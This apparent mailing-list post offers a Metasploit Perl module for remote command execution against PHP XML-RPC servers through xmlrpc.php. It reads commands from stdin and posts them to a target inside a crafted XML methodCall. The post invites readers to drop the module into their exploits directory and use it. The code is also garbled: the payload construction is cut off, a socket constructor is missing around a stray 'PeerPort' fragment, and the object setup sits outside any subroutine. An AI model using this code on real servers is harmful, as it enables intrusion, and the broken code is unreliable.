Subject: Metasploit exploit for PHP XMLRPC


I got bored last night so I wrote a basic xmlrpc exploit for metasploit.
Just drop it in your exploits/ and load it up.


package Msf::Exploit::xmlrpc;
use strict;
use base 'Msf::Exploit';
#use Msf::Socket::Tcp;

my $advanced = { };

#######################
# Exploit Information #
#######################
my $info = {
    'Name'  => 'XMLRPC',
    'Version'   => '$Revision: 1.0 $',
    'Authors'   => [ 'peasant' ],
    'Arch'      => 'none',
    'OS'        => 'none',
    'Priv'      => 0,

    'UserOpts'  => {
        'RHOST' => [1, 'ADDR', 'Target Address'],
        'RPORT' => [1, 'PORT', 'Target Port', 80 ],
        'RFILE' => [1, 'FILE', 'Target File', '/xmlrpc.php'],
    },

    'Description'   => ['Remote PHP XMLRPC Exploit'],
    'Refs'  => [ 'http://hypereffect.org/', ],
};

    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);

sub Exploit {
    my $self = shift;
    my ($line, $exploit);

    my $host = $self->GetVar('RHOST');
    my $port = $self->GetVar('RPORT');
    my $file = $self->GetVar('RFILE');

    # keep reading commands from stdin
    while(1) {
        print("user\@$host> ");
        my $cmd = <STDIN>;
        chomp($cmd);
        if($cmd eq "exit") {
            last;
        }

        # build our exploit string
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";

                                            'PeerPort'  => $port,
        );

        if ($sock->IsError) {
          $self->PrintLine('[*] Error creating socket: ' .
$sock->GetError);
          return;
        }

        # send our exploit
        $line = "POST " . $file . " HTTP/1.1\n";
        $sock->Send($line);

        $sock->Send($line);
        $sock->Send($exploit);

        my $output = $sock->Recv(-1);
        print($output . "\n");
        $sock->Close();
    }

    return;
